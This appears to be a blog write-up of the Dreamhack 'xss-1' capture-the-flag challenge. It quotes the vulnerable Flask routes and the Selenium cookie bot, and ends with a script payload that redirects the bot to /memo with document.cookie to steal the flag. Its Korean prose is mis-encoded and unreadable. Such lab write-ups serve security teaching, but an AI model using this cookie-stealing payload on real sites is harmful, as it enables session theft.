๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

๐Ÿด‍โ˜ ๏ธ CTF ๐Ÿด‍โ˜ ๏ธ/โœˆ๏ธ ์›น โœˆ๏ธ

[Dream Hack - Web] xss-1

๋ฐ˜์‘ํ˜•

๋ฌธ์ œ ํ•ด์„

/vuln ํŽ˜์ด์ง€

/vuln ๋ผ์šฐํ„ฐ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ html์— ๋žœ๋”๋ง ํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— XSS ์ทจ์•ฝ์ ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

๊ทธ๋ž˜์„œ http://127.0.0.1:8000?param=<script>alert(1);</script> ์„ ๋„˜๊ฒผ์„ ๋•Œ, ์•„๋ž˜์™€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

/memo ํŽ˜์ด์ง€

ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋„˜๊ธด memo ๊ฐ’์— ๋Œ€ํ•ด ๊ณ„์† ์ด์–ด๋ถ™์—ฌ ๋‚˜๊ฐ€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\\n"
    return render_template("memo.html", memo=memo_text)

 

/flag ํŽ˜์ด์ง€

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        
        ## ์ด ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด์„œ๋งŒ FLAG ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

 

check_xss ํ•จ์ˆ˜

check_xss ํ•จ์ˆ˜๋Š” param ๊ฐ’์„ url์— ๋‹ด์•„ read_url ํ•จ์ˆ˜๋กœ ์ „๋‹ฌํ•œ๋‹ค. urllib.parse.quote(param) ํ•จ์ˆ˜๋Š” ๋ฌธ์ž์—ด์„ ์ธ์ฝ”๋”ฉํ•˜์—ฌ URL์— ์•ˆ์ „ํ•˜๊ฒŒ ํฌํ•จ๋  ์ˆ˜ ์žˆ๋„๋ก ํ•œ๋‹ค.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>"
    return read_url(url, cookie)

 

read_url ํ•จ์ˆ˜

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
           ...
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("<http://127.0.0.1:8000/>")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

 

read_url ํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋ฉด,

  1. driver.get(’http://127.0.0.1.8000/’) ⇒ ๋กœ์ปฌ ํ˜ธ์ŠคํŠธ ํ™˜๊ฒฝ์—์„œ ์›น ํŽ˜์ด์ง€๋ฅผ ์ ‘์†ํ•œ๋‹ค.
  2. driver.add_cookie(cookie) ⇒ ์ ‘์†ํ•œ ์›น ํŽ˜์ด์ง€์— ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ๋ฐ›์•„์˜จ cookie๋ฅผ ์ถ”๊ฐ€ํ•œ๋‹ค.
  3. driver.get(url) ⇒ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ฐ›์€ url์— ์ ‘์†ํ•œ๋‹ค.

 

ํ’€์ด ๋ฐฉ๋ฒ•

 

์ •๋ฆฌํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” /vuln ๋ผ์šฐํ„ฐ์— script ์ฝ”๋“œ๋ฅผ ์ „๋‹ฌํ•˜์—ฌ XSS ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. /flag ํŽ˜์ด์ง€์—์„œ ์ž…๋ ฅ์„ ์ œ์ถœํ•จ์œผ๋กœ ๋กœ์ปฌํ˜ธ์ŠคํŠธ ํ™˜๊ฒฝ ์ฟ ํ‚ค์— FLAG๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ /flag ํŽ˜์ด์ง€์—์„œ ์ž…๋ ฅ๊ฐ’์„ ํ†ตํ•ด memo์— FLAG๋ฅผ ์ž‘์„ฑํ•˜๋„๋ก ํ•œ๋‹ค.

//๊ณต๊ฒฉ๊ตฌ๋ฌธ
<script> location.href="<http://127.0.0.1:8000/memo?memo=>"+document.cookie </script>

 

๋ฐ˜์‘ํ˜•